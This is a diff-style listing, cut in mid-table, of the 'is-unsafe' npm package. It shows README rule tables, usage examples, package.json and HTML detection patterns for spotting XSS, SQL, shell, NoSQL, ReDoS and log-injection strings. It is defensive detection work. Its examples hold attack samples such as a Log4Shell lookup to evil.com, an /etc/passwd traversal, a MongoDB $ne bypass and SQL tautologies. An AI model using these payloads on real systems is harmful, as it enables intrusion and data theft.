| `xml-comment-close` | `-->` comment close |
|
|
188
|
+
| `xml-pi-close` | `?>` processing instruction close |
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
### `'SVG'`
|
|
193
|
+
|
|
194
|
+
SVG-specific XSS vectors that bypass HTML-only sanitizers (including documented DOMPurify bypass patterns):
|
|
195
|
+
|
|
196
|
+
| Rule ID | What it catches |
|
|
197
|
+
|---------|----------------|
|
|
198
|
+
| `svg-script-element` | `<script` inside SVG |
|
|
199
|
+
| `svg-xlink-href-javascript` | `xlink:href="javascript:..."` |
|
|
200
|
+
| `svg-href-javascript` | `href="javascript:..."` |
|
|
201
|
+
| `svg-foreignobject` | `<foreignObject>` — embeds HTML inside SVG |
|
|
202
|
+
| `svg-use-external` | `<use href=` pointing to external URL |
|
|
203
|
+
| `svg-animate-href` | `<animate attributeName="href"` — dynamic href injection |
|
|
204
|
+
| `svg-animate-xlinkhref` | `<animate attributeName="xlink:href"` |
|
|
205
|
+
| `svg-set-javascript` | `<set to="javascript:..."` |
|
|
206
|
+
| `svg-event-handler` | SVG event handlers (`onload=`, `onactivate=`, `onbegin=`, etc.) |
|
|
207
|
+
| `svg-filter-feimage` | `<feImage href=` — external resource load |
|
|
208
|
+
| `svg-image-external` | `<image xlink:href=` with http/javascript URL |
|
|
209
|
+
| `svg-style-javascript` | `style=` containing `javascript:` |
|
|
210
|
+
|
|
211
|
+
---
|
|
212
|
+
|
|
213
|
+
### `'SQL'` and `'SQL-STRICT'`
|
|
214
|
+
|
|
215
|
+
Two tiers of SQL injection detection, chosen based on what kind of input you're validating.
|
|
216
|
+
|
|
217
|
+
**Use `'SQL'`** for general user-facing fields (names, descriptions, search queries). Its 15 rules are high-precision with very low false-positive risk.
|
|
218
|
+
|
|
219
|
+
**Use `'SQL-STRICT'`** when the input is specifically a SQL fragment or database identifier — it includes all `SQL` rules plus three additional rules that would produce false positives on general text:
|
|
220
|
+
|
|
221
|
+
| Extra rule in SQL-STRICT | Why it's noisy on general text |
|
|
222
|
+
|--------------------------|-------------------------------|
|
|
223
|
+
| `sql-line-comment` (`--`) | Fires on `"see note -- above"`, CSS `var(--primary)` |
|
|
224
|
+
| `sql-stacked-query` (`;SELECT`) | Semicolons are normal punctuation |
|
|
225
|
+
| `sql-hex-encoding` (`0xDEAD`) | Hex values appear in technical docs and logs |
|
|
226
|
+
|
|
227
|
+
**Base `SQL` rules (present in both):**
|
|
228
|
+
|
|
229
|
+
| Rule ID | What it catches |
|
|
230
|
+
|---------|----------------|
|
|
231
|
+
| `sql-block-comment-open` | `/*` block comment |
|
|
232
|
+
| `sql-union-select` | `UNION SELECT`, `UNION ALL SELECT` |
|
|
233
|
+
| `sql-drop-table` | `DROP TABLE` |
|
|
234
|
+
| `sql-drop-database` | `DROP DATABASE` |
|
|
235
|
+
| `sql-insert-into` | `INSERT INTO` |
|
|
236
|
+
| `sql-delete-from` | `DELETE FROM` |
|
|
237
|
+
| `sql-update-set` | `UPDATE ... SET` |
|
|
238
|
+
| `sql-exec-xp` | `EXEC xp_` — MSSQL extended stored procedures |
|
|
239
|
+
| `sql-tautology-string` | `' OR '1'='1` string tautologies |
|
|
240
|
+
| `sql-tautology-numeric` | `OR 1=1` numeric tautology |
|
|
241
|
+
| `sql-always-true-zero` | `OR 0=0` numeric tautology |
|
|
242
|
+
| `sql-sleep-benchmark` | `SLEEP()`, `BENCHMARK()` — time-based blind injection |
|
|
243
|
+
| `sql-waitfor-delay` | `WAITFOR DELAY` — MSSQL time-based blind |
|
|
244
|
+
| `sql-char-function` | `CHAR(65)` — character obfuscation |
|
|
245
|
+
| `sql-information-schema` | `INFORMATION_SCHEMA` — reconnaissance |
|
|
246
|
+
|
|
247
|
+
---
|
|
248
|
+
|
|
249
|
+
### `'SHELL'`
|
|
250
|
+
|
|
251
|
+
Shell injection and path traversal:
|
|
252
|
+
|
|
253
|
+
| Rule ID | What it catches |
|
|
254
|
+
|---------|----------------|
|
|
255
|
+
| `shell-path-traversal-unix` | `../` directory traversal |
|
|
256
|
+
| `shell-path-traversal-windows` | `..\` Windows traversal |
|
|
257
|
+
| `shell-path-traversal-encoded` | `%2e%2e` URL-encoded traversal |
|
|
258
|
+
| `shell-null-byte` | `\x00` or `%00` null byte injection |
|
|
259
|
+
| `shell-semicolon` | `;` command separator |
|
|
260
|
+
| `shell-pipe` | `\|` pipe operator |
|
|
261
|
+
| `shell-and-operator` | `&&` AND operator |
|
|
262
|
+
| `shell-or-operator` | `\|\|` OR operator |
|
|
263
|
+
| `shell-backtick` | `` ` `` backtick substitution |
|
|
264
|
+
| `shell-dollar-paren` | `$(cmd)` command substitution |
|
|
265
|
+
| `shell-dollar-brace` | `${var}` variable expansion |
|
|
266
|
+
| `shell-redirect-out` | `>` or `>>` output redirection |
|
|
267
|
+
| `shell-redirect-in` | `<` input redirection |
|
|
268
|
+
| `shell-newline-injection` | `\n` or `\r` newline injection |
|
|
269
|
+
| `shell-glob-star` | `/*` or `\*` glob after path separator |
|
|
270
|
+
| `shell-absolute-root` | Strings starting with `/` or `\\` (UNC) |
|
|
271
|
+
| `shell-windows-drive` | `C:\` or `D:/` Windows drive paths |
|
|
272
|
+
| `shell-curl-wget` | `curl https://...` or `wget -` with URL or flags |
|
|
273
|
+
|
|
274
|
+
> **Note:** The `SHELL` context is intentionally broad. Characters like `;`, `|`, and `<` appear in many safe strings, so apply this context only to values destined for shell execution or filesystem operations, not to general text.
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
### `'REDOS'`
|
|
279
|
+
|
|
280
|
+
Strings that would cause catastrophic backtracking if compiled as a `RegExp`:
|
|
281
|
+
|
|
282
|
+
| Rule ID | What it catches |
|
|
283
|
+
|---------|----------------|
|
|
284
|
+
| `redos-nested-quantifier-plus` | `(a+)+`, `(.+b)*` — nested `+` in group with outer quantifier |
|
|
285
|
+
| `redos-nested-quantifier-star` | `(a*)*` — nested `*` in group with outer quantifier |
|
|
286
|
+
| `redos-nested-groups` | `((a+)+)` — doubly nested quantified groups |
|
|
287
|
+
| `redos-alternation-overlap` | `(a\|a)+` — repeated identical alternatives |
|
|
288
|
+
| `redos-star-plus-concat` | `(a*a)+` — star-concat pattern |
|
|
289
|
+
| `redos-dot-star-greedy` | `(.*){n}` — repeated greedy dot |
|
|
290
|
+
| `redos-large-repetition` | `{1000,}` or `{5000,10000}` — extremely large repetition counts |
|
|
291
|
+
| `redos-catastrophic-alternation` | 10+ pipe alternatives in one group |
|
|
292
|
+
|
|
293
|
+
---
|
|
294
|
+
|
|
295
|
+
### `'NOSQL'`
|
|
296
|
+
|
|
297
|
+
MongoDB query operator injection and prototype pollution:
|
|
298
|
+
|
|
299
|
+
| Rule ID | What it catches |
|
|
300
|
+
|---------|----------------|
|
|
301
|
+
| `nosql-where-operator` | `$where:` — executes arbitrary JavaScript server-side |
|
|
302
|
+
| `nosql-ne-operator` | `$ne:` — not-equal authentication bypass |
|
|
303
|
+
| `nosql-gt-operator` | `$gt:` / `$gte:` — greater-than bypass |
|
|
304
|
+
| `nosql-lt-operator` | `$lt:` / `$lte:` — less-than bypass |
|
|
305
|
+
| `nosql-regex-operator` | `$regex:` — blind character-by-character extraction |
|
|
306
|
+
| `nosql-or-operator` | `$or: [` — always-true condition injection |
|
|
307
|
+
| `nosql-and-operator` | `$and: [` — logical AND injection |
|
|
308
|
+
| `nosql-nor-operator` | `$nor: [` — logical NOR injection |
|
|
309
|
+
| `nosql-exists-operator` | `$exists:` — field enumeration |
|
|
310
|
+
| `nosql-in-operator` | `$in: [` — value enumeration |
|
|
311
|
+
| `nosql-expr-operator` | `$expr:` — aggregation expression injection |
|
|
312
|
+
| `nosql-function-operator` | `$function:` — arbitrary JavaScript (MongoDB 4.4+) |
|
|
313
|
+
| `nosql-accumulator-operator` | `$accumulator:` — custom JS aggregation |
|
|
314
|
+
| `nosql-proto-pollution` | `__proto__` — prototype pollution |
|
|
315
|
+
| `nosql-constructor-prototype` | `constructor.prototype` or JSON key adjacency |
|
|
316
|
+
| `nosql-proto-bracket` | `["__proto__"]` — bracket-notation prototype pollution |
|
|
317
|
+
|
|
318
|
+
Patterns handle both bare form (`$ne: null`) and JSON key form (`{"$ne": null}`) by allowing an optional closing quote between the operator name and the colon.
|
|
319
|
+
|
|
320
|
+
---
|
|
321
|
+
|
|
322
|
+
### `'LOG'`
|
|
323
|
+
|
|
324
|
+
Injection vectors dangerous when a string is written to a log file or passed to a logging framework:
|
|
325
|
+
|
|
326
|
+
| Rule ID | What it catches |
|
|
327
|
+
|---------|----------------|
|
|
328
|
+
| `log-crlf-injection` | Literal `\r` or `\n` — fake log line injection |
|
|
329
|
+
| `log-url-encoded-crlf` | `%0d`, `%0a`, `%0D`, `%0A` — URL-encoded newlines |
|
|
330
|
+
| `log-unicode-newline` | U+2028, U+2029 — Unicode line/paragraph separators |
|
|
331
|
+
| `log-log4shell-jndi` | `${jndi:...}` — Log4Shell RCE (CVE-2021-44228) |
|
|
332
|
+
| `log-log4shell-obfuscated` | `${::-` — Log4j WAF-bypass prefix |
|
|
333
|
+
| `log-log4j-lookup` | `${env:}`, `${sys:}`, `${ctx:}` — data exfiltration lookups |
|
|
334
|
+
| `log-ssti-double-brace` | `{{expression}}` — Jinja2, Twig, Handlebars SSTI |
|
|
335
|
+
| `log-ssti-hash-brace` | `#{expression}` — Thymeleaf, Velocity, ERB SSTI |
|
|
336
|
+
| `log-ssti-dollar-brace` | `${expr.method()}` — JSP EL, Freemarker, SpEL SSTI |
|
|
337
|
+
| `log-ssti-percent-tag` | `<%= expression %>` — Ruby ERB, ASP |
|
|
338
|
+
| `log-null-byte` | `\x00` or `%00` — truncates log entries |
|
|
339
|
+
| `log-ansi-escape` | `ESC[` — ANSI escape sequences that manipulate terminal output |
|
|
340
|
+
|
|
341
|
+
> **Note:** The `log-crlf-injection` rule flags literal newline characters (`\n`, `\r`). Apply `LOG` only to single-line log field values (usernames, IDs, request parameters), not to multi-line content.
|
|
342
|
+
|
|
343
|
+
---
|
|
344
|
+
|
|
345
|
+
## Integration examples
|
|
346
|
+
|
|
347
|
+
### `@nodable/entities` — `postCheck` callback
|
|
348
|
+
|
|
349
|
+
```js
|
|
350
|
+
import { isUnsafe } from 'is-unsafe';
|
|
351
|
+
import { EntityDecoder, ALL_ENTITIES } from '@nodable/entities';
|
|
352
|
+
|
|
353
|
+
const dec = new EntityDecoder({
|
|
354
|
+
namedEntities: ALL_ENTITIES,
|
|
355
|
+
postCheck: (resolved, original) => {
|
|
356
|
+
if (isUnsafe(resolved, 'HTML')) {
|
|
357
|
+
return original; // keep literal &entity; reference
|
|
358
|
+
// or: throw new Error(`Unsafe entity blocked: ${original}`);
|
|
359
|
+
// or: return '[BLOCKED]';
|
|
360
|
+
}
|
|
361
|
+
return resolved;
|
|
362
|
+
}
|
|
363
|
+
});
|
|
364
|
+
```
|
|
365
|
+
|
|
366
|
+
### Logging with `whyUnsafe`
|
|
367
|
+
|
|
368
|
+
```js
|
|
369
|
+
import { isUnsafe, whyUnsafe } from 'is-unsafe';
|
|
370
|
+
|
|
371
|
+
function safeInsert(value, context) {
|
|
372
|
+
if (isUnsafe(value, context)) {
|
|
373
|
+
const reason = whyUnsafe(value, context);
|
|
374
|
+
logger.warn('Blocked unsafe value', { ruleId: reason.id, context });
|
|
375
|
+
throw new Error(`Unsafe value rejected (${reason.id})`);
|
|
376
|
+
}
|
|
377
|
+
return value;
|
|
378
|
+
}
|
|
379
|
+
```
|
|
380
|
+
|
|
381
|
+
### Auditing with `allUnsafe`
|
|
382
|
+
|
|
383
|
+
```js
|
|
384
|
+
import { allUnsafe } from 'is-unsafe';
|
|
385
|
+
|
|
386
|
+
const findings = allUnsafe(userInput, ['HTML', 'SQL', 'SHELL']);
|
|
387
|
+
if (findings.length > 0) {
|
|
388
|
+
auditLog.record({ input: userInput, findings: findings.map(f => f.id) });
|
|
389
|
+
}
|
|
390
|
+
```
|
|
391
|
+
|
|
392
|
+
### SQL vs SQL-STRICT — choosing the right tier
|
|
393
|
+
|
|
394
|
+
```js
|
|
395
|
+
import { isUnsafe } from 'is-unsafe';
|
|
396
|
+
|
|
397
|
+
// General text field (name, description, comment) — use SQL
|
|
398
|
+
function validateUserBio(bio) {
|
|
399
|
+
if (isUnsafe(bio, 'SQL')) throw new Error('Invalid content');
|
|
400
|
+
return bio;
|
|
401
|
+
}
|
|
402
|
+
|
|
403
|
+
// Dedicated SQL identifier input (table name picker, column filter) — use SQL-STRICT
|
|
404
|
+
function validateTableName(name) {
|
|
405
|
+
if (isUnsafe(name, 'SQL-STRICT')) throw new Error('Invalid identifier');
|
|
406
|
+
return name;
|
|
407
|
+
}
|
|
408
|
+
|
|
409
|
+
validateUserBio("see note -- above"); // passes (-- alone is fine for general text)
|
|
410
|
+
validateTableName("users -- comment"); // blocked by SQL-STRICT
|
|
411
|
+
```
|
|
412
|
+
|
|
413
|
+
### File upload path guard
|
|
414
|
+
|
|
415
|
+
```js
|
|
416
|
+
import { isUnsafe } from 'is-unsafe';
|
|
417
|
+
|
|
418
|
+
function validateUploadPath(filename) {
|
|
419
|
+
if (isUnsafe(filename, 'SHELL')) throw new Error('Invalid filename');
|
|
420
|
+
return filename;
|
|
421
|
+
}
|
|
422
|
+
|
|
423
|
+
validateUploadPath('document.pdf'); // OK
|
|
424
|
+
validateUploadPath('../../../etc/passwd'); // throws
|
|
425
|
+
validateUploadPath('file.txt\x00.jpg'); // throws (null byte)
|
|
426
|
+
```
|
|
427
|
+
|
|
428
|
+
### User-supplied regex guard
|
|
429
|
+
|
|
430
|
+
```js
|
|
431
|
+
import { isUnsafe, whyUnsafe } from 'is-unsafe';
|
|
432
|
+
|
|
433
|
+
function compileUserRegex(pattern) {
|
|
434
|
+
if (isUnsafe(pattern, 'REDOS')) {
|
|
435
|
+
const detail = whyUnsafe(pattern, 'REDOS');
|
|
436
|
+
throw new Error(`ReDoS risk in pattern (${detail.id})`);
|
|
437
|
+
}
|
|
438
|
+
return new RegExp(pattern);
|
|
439
|
+
}
|
|
440
|
+
|
|
441
|
+
compileUserRegex('^[a-z]+$'); // OK
|
|
442
|
+
compileUserRegex('(a+)+'); // throws — nested quantifier
|
|
443
|
+
```
|
|
444
|
+
|
|
445
|
+
### MongoDB input guard
|
|
446
|
+
|
|
447
|
+
```js
|
|
448
|
+
import { isUnsafe } from 'is-unsafe';
|
|
449
|
+
|
|
450
|
+
function safeMongoValue(value) {
|
|
451
|
+
if (isUnsafe(value, 'NOSQL')) throw new Error('Unsafe MongoDB value');
|
|
452
|
+
return value;
|
|
453
|
+
}
|
|
454
|
+
|
|
455
|
+
safeMongoValue('alice'); // OK
|
|
456
|
+
safeMongoValue('{"$ne": null}'); // throws — $ne bypass
|
|
457
|
+
safeMongoValue('__proto__'); // throws — prototype pollution
|
|
458
|
+
```
|
|
459
|
+
|
|
460
|
+
### Log field guard
|
|
461
|
+
|
|
462
|
+
```js
|
|
463
|
+
import { isUnsafe } from 'is-unsafe';
|
|
464
|
+
|
|
465
|
+
function safeLogField(value) {
|
|
466
|
+
if (isUnsafe(value, 'LOG')) throw new Error('Unsafe log value');
|
|
467
|
+
return value;
|
|
468
|
+
}
|
|
469
|
+
|
|
470
|
+
safeLogField('alice'); // OK
|
|
471
|
+
safeLogField('${jndi:ldap://evil.com}'); // throws — Log4Shell
|
|
472
|
+
safeLogField("value\nfake log entry"); // throws — CRLF injection
|
|
473
|
+
```
|
|
474
|
+
|
|
475
|
+
---
|
|
476
|
+
|
|
477
|
+
## Design principles
|
|
478
|
+
|
|
479
|
+
| Principle | Detail |
|
|
480
|
+
|-----------|--------|
|
|
481
|
+
| **Predicate only** | Returns `true`/`false`. Never mutates strings. |
|
|
482
|
+
| **Zero dependencies** | No jsdom, no DOM, no framework coupling. |
|
|
483
|
+
| **Context-aware** | "Unsafe" is not absolute — it depends on where the value will be used. |
|
|
484
|
+
| **Caller decides action** | `is-unsafe` classifies. Escaping, throwing, or logging is the caller's responsibility. |
|
|
485
|
+
| **ReDoS-safe** | All detection patterns use bounded quantifiers. The irony of a security package triggering its own vulnerability (as the `sql-injection` npm package does) is avoided by design. |
|
|
486
|
+
| **False positives over false negatives** | In parser context, blocking a legitimate value is better than passing a malicious one. |
|
|
487
|
+
|
|
488
|
+
---
|
|
489
|
+
|
|
490
|
+
## What `is-unsafe` is NOT
|
|
491
|
+
|
|
492
|
+
- **Not a sanitizer** — it does not modify strings
|
|
493
|
+
- **Not a middleware** — no Express/Koa coupling
|
|
494
|
+
- **Not a firewall** — it does not block requests
|
|
495
|
+
- **Not a complete security solution** — one layer of defence-in-depth
|
|
496
|
+
|
|
497
|
+
---
|
|
498
|
+
|
|
499
|
+
## Comparison with existing packages
|
|
500
|
+
|
|
501
|
+
| Package | Problem |
|
|
502
|
+
|---------|---------|
|
|
503
|
+
| `dompurify` | Requires DOM/jsdom. Sanitizer, not predicate. Has documented SVG/XML bypass vulnerabilities. |
|
|
504
|
+
| `xss` | Sanitizer — rewrites the string. HTML-only. No predicate API. |
|
|
505
|
+
| `xss-filters` | Explicitly documented as unable to be used inside `<svg>`, `<object>`, `<embed>`. |
|
|
506
|
+
| `xss-checker` | 465 kB payload list, 6 years abandoned, 5 dependents. |
|
|
507
|
+
| `is-sql-injection` | Philosophically closest, but v1.0.0 only, 8 years abandoned, 19 dependents. |
|
|
508
|
+
| `sql-injection` | Express middleware. Has an active ReDoS CVE on its own detection patterns. |
|
|
509
|
+
| **`is-unsafe`** | Actively maintained. DOM-free. Pure predicate. Covers HTML, XML, SVG, SQL (two tiers), SHELL, REDOS, NOSQL, and LOG as distinct contexts. |
|
|
510
|
+
|
|
511
|
+
The `SVG` context is the key differentiator for XSS — no existing package covers SVG-specific vectors (`xlink:href`, `foreignObject`, `animate`/`set` element attacks). The `XML` context covers parser-level attacks that DOMPurify has documented bypass vulnerabilities for. The `NOSQL` and `LOG` contexts (including Log4Shell) have no equivalent in any current predicate package.
|
|
512
|
+
|
|
513
|
+
---
|
|
514
|
+
|
|
515
|
+
## Running tests
|
|
516
|
+
|
|
517
|
+
```sh
|
|
518
|
+
npm install
|
|
519
|
+
npm test
|
|
520
|
+
```
|
|
521
|
+
|
|
522
|
+
Tests use [Jasmine](https://jasmine.github.io/). Source in `src/`, specs in `specs/`.
|
|
523
|
+
|
|
524
|
+
---
|
|
525
|
+
|
|
526
|
+
## License
|
|
527
|
+
|
|
528
|
+
MIT
|
|
@@ -0,0 +1,48 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "is-unsafe",
|
|
3
|
+
"version": "1.0.1",
|
|
4
|
+
"description": "Zero-dependency, DOM-free, pure predicate for detecting unsafe strings across HTML, XML, SVG, SQL, SHELL, and REGEX contexts",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"type": "module",
|
|
7
|
+
"types": "./src/index.d.ts",
|
|
8
|
+
"scripts": {
|
|
9
|
+
"test": "jasmine **/*.spec.js",
|
|
10
|
+
"test:watch": "nodemon --exec 'npm test' --watch src --watch specs"
|
|
11
|
+
},
|
|
12
|
+
"keywords": [
|
|
13
|
+
"xss",
|
|
14
|
+
"sql-injection",
|
|
15
|
+
"security",
|
|
16
|
+
"safe",
|
|
17
|
+
"predicate",
|
|
18
|
+
"sanitizer",
|
|
19
|
+
"xml",
|
|
20
|
+
"svg",
|
|
21
|
+
"html",
|
|
22
|
+
"shell-injection",
|
|
23
|
+
"redos",
|
|
24
|
+
"unsafe",
|
|
25
|
+
"validator",
|
|
26
|
+
"log",
|
|
27
|
+
"nosql"
|
|
28
|
+
],
|
|
29
|
+
"repository": {
|
|
30
|
+
"type": "git",
|
|
31
|
+
"url": "https://github.com/NaturalIntelligence/is-unsafe"
|
|
32
|
+
},
|
|
33
|
+
"author": "Amit Gupta (https://solothought.work/)",
|
|
34
|
+
"license": "MIT",
|
|
35
|
+
"funding": [
|
|
36
|
+
{
|
|
37
|
+
"type": "github",
|
|
38
|
+
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
39
|
+
}
|
|
40
|
+
],
|
|
41
|
+
"devDependencies": {
|
|
42
|
+
"jasmine": "^5.1.0"
|
|
43
|
+
},
|
|
44
|
+
"files": [
|
|
45
|
+
"src/",
|
|
46
|
+
"README.md"
|
|
47
|
+
]
|
|
48
|
+
}
|
package/dist/temp-prefix/node_modules/devbrain-cli/node_modules/is-unsafe/src/contexts/html.js
ADDED
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* HTML context patterns.
|
|
3
|
+
*
|
|
4
|
+
* Detects XSS vectors that are dangerous when a string ends up rendered as HTML.
|
|
5
|
+
* All patterns use bounded quantifiers to ensure linear-time matching (ReDoS-safe).
|
|
6
|
+
*
|
|
7
|
+
* Each entry is { pattern: RegExp, id: string, description: string }
|
|
8
|
+
* so callers can inspect which rule fired if they need to.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const HTML_PATTERNS = [
|
|
12
|
+
{
|
|
13
|
+
id: 'html-script-open',
|
|
14
|
+
description: '<script opening tag',
|
|
15
|
+
pattern: /<script[\s>/]/i,
|
|
16
|
+
},
|
|
17
|
+
{
|
|
18
|
+
id: 'html-script-close',
|
|
19
|
+
description: '</script closing tag',
|
|
20
|
+
pattern: /<\/script[\s>]/i,
|
|
21
|
+
},
|
|
22
|
+
{
|
|
23
|
+
id: 'html-javascript-protocol',
|
|
24
|
+
description: 'javascript: URI scheme (with optional whitespace/encoding)',
|
|
25
|
+
// Handles javascript:, j\u0061vascript:, and whitespace variants
|
|
26
|
+
pattern: /j[\t\n\r ]*a[\t\n\r ]*v[\t\n\r ]*a[\t\n\r ]*s[\t\n\r ]*c[\t\n\r ]*r[\t\n\r ]*i[\t\n\r ]*p[\t\n\r ]*t[\t\n\r ]*:/i,
|
|
27
|
+
},
|
|
28
|
+
{
|
|
29
|
+
id: 'html-vbscript-protocol',
|
|
30
|
+
description: 'vbscript: URI scheme',
|
|
31
|
+
pattern: /vbscript[\t\n\r ]*:/i,
|
|
32
|
+
},
|
|
33
|
+
{
|
|
34
|
+
id: 'html-data-html',
|
|
35
|
+
description: 'data:text/html URI — can execute scripts in browsers',
|
|
36
|
+
pattern: /data[\t\n\r ]*:[\t\n\r ]*text\/html/i,
|
|
37
|
+
},
|
|
38
|
+
{
|
|
39
|
+
id: 'html-data-xhtml',
|
|
40
|
+
description: 'data:application/xhtml+xml URI',
|
|
41
|
+
pattern: /data[\t\n\r ]*:[\t\n\r ]*application\/xhtml/i,
|
|
42
|
+
},
|
|
43
|
+
{
|
|
44
|
+
id: 'html-data-svg',
|
|
45
|
+
description: 'data:image/svg+xml URI — can execute scripts',
|
|
46
|
+
pattern: /data[\t\n\r ]*:[\t\n\r ]*image\/svg\+xml/i,
|
|
47
|
+
},
|
|
48
|
+
{
|
|
49
|
+
id: 'html-inline-event-handler',
|
|
50
|
+
description: 'Inline event handler attributes: onclick=, onerror=, onload=, etc.',
|
|
51
|
+
// \bon ensures we match a word boundary so "phonetic=" is not caught
|
|
52
|
+
pattern: /\bon\w{1,30}\s*=/i,
|
|
53
|
+
},
|
|
54
|
+
{
|
|
55
|
+
id: 'html-entity-obfuscated-script',
|
|
56
|
+
description: 'HTML-entity-encoded <script (e.g. <script or <script)',
|
|
57
|
+
// Entities include optional trailing semicolon: < or < (both valid in HTML5)
|
|
58
|
+
pattern: /(?:�*3[Cc];?|�*60;?|<)\s*script/i,
|
|
59
|
+
},
|
|
60
|
+
{
|
|
61
|
+
id: 'html-entity-obfuscated-javascript',
|
|
62
|
+
description: 'HTML-entity-encoded javascript: (partial — catches common j or j for "j")',
|
|
63
|
+
pattern: /(?:�*6[Aa];?|�*106;?)\s*(?:�*61;?|a)[\s\S]{0,80}script\s*:/i,
|
|
64
|
+
},
|
|
65
|
+
{
|
|
66
|
+
id: 'html-style-expression',
|
|
67
|
+
description: 'CSS expression() — IE-era code execution in style attributes',
|
|
68
|
+
pattern: /style[\s\S]{0,20}expression\s*\(/i,
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
id: 'html-object-embed',
|
|
72
|
+
description: '<object or <embed tags that can load active content',
|
|
73
|
+
pattern: /<(?:object|embed)[\s>/]/i,
|
|
74
|
+
},
|
|
75
|
+
{
|
|
76
|
+
id: 'html-base-tag',
|
|
77
|
+
description: '<base href= — can hijack all relative URLs on a page',
|
|
78
|
+
pattern: /<base[\s>]/i,
|
|
79
|
+
},
|
|
80
|
+
{
|
|
81
|
+
id: 'html-meta-refresh',
|
|
82
|
+
description: '<meta http-equiv="refresh" — can redirect users',
|
|
83
|
+
pattern: /<meta[\s\S]{0,40}http-equiv[\s\S]{0,20}refresh/i,
|
|
84
|
+
},
|
|
85
|
+
{
|
|
86
|
+
id: 'html-srcdoc',
|
|
87
|
+
description: 'srcdoc= attribute on iframes — embeds HTML that can run scripts',
|
|
88
|
+
pattern: /srcdoc\s*=/i,
|
|
89
|
+
},
|
|
90
|
+
{
|
|
91
|
+
id: 'html-iframe',
|
|
92
|
+
description: '<iframe tag',
|
|
93
|
+
pattern: /<iframe[\s>/]/i,
|
|
94
|
+
},
|
|
95
|
+
{
|
|
96
|
+
id: 'html-form',
|
|
97
|
+
description: '<form tag — can be used for phishing / credential harvesting injection',
|
|
98
|
+
pattern: /<form[\s>/]/i,
|
|
99
|
+
},
|
|
100
|
+
];
|
|
101
|
+
|
|
102
|
+
export default HTML_PATTERNS;
|